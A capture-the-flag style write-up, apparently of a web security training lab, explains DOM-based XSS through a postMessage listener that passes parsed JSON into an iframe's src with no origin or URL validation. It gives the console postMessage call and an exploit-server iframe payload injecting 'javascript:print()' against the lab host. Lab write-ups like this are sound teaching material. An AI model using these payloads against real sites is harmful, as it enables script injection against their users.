July 21, 2026
DOM XSS using web messages and JSON.parse
This lab uses web messaging and parses the message as JSON.

By Karthik_Mudgal
1 min read
- This lab uses web messaging and parses the message as JSON.
- To solve the lab, construct an HTML page on the exploit server that exploits this vulnerability and calls the
print()function.
Important Points
DOM(Document Object Model) a programming interface created by the browser that transforms a web page's HTML structure into a tree of programmable objects.postMessage()This method enables cross-origin communication between window object for more detail: https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage
Recon
- So let's view the source code of the homepage first.
- Found something interesting in the JS code.
<script>
window.addEventListener('message', function(e) {
var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
document.body.appendChild(iframe);
try {
d = JSON.parse(e.data);
} catch(e) {
return;
}
switch(d.type) {
case "page-load":
ACMEplayer.element.scrollIntoView();
break;
case "load-channel":
ACMEplayer.element.src = d.url;
break;
case "player-height-changed":
ACMEplayer.element.style.width = d.width + "px";
ACMEplayer.element.style.height = d.height + "px";
break;
}
}, false);
</script><script>
window.addEventListener('message', function(e) {
var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
document.body.appendChild(iframe);
try {
d = JSON.parse(e.data);
} catch(e) {
return;
}
switch(d.type) {
case "page-load":
ACMEplayer.element.scrollIntoView();
break;
case "load-channel":
ACMEplayer.element.src = d.url;
break;
case "player-height-changed":
ACMEplayer.element.style.width = d.width + "px";
ACMEplayer.element.style.height = d.height + "px";
break;
}
}, false);
</script>- The vulnerability in the source code is in.
case "load-channel":
ACMEplayer.element.src = d.url;
break;case "load-channel":
ACMEplayer.element.src = d.url;
break;- In the code there's no validation of who send the message and what URL is allowed.
Exploitation
- So let's use the postMessage() function to execute the print function through the console.
window.postMessage(
JSON.stringify({
type: "load-channel",
url: "javascript:print()"
}),
"*"
);window.postMessage(
JSON.stringify({
type: "load-channel",
url: "javascript:print()"
}),
"*"
);- It is executing perfectly so let's now craft the web page in the exploit server.
<iframe
src="https://0a6200c6039d8fdf80ac3af500c10021.web-security-academy.net/"
onload='this.contentWindow.postMessage(
"{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}",
"*"
)'>
</iframe><iframe
src="https://0a6200c6039d8fdf80ac3af500c10021.web-security-academy.net/"
onload='this.contentWindow.postMessage(
"{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}",
"*"
)'>
</iframe>- We are using an
<iframe>to construct the webpage of the target website and onload it executes our payloadjavascript:print() - Send it and boom lab solved.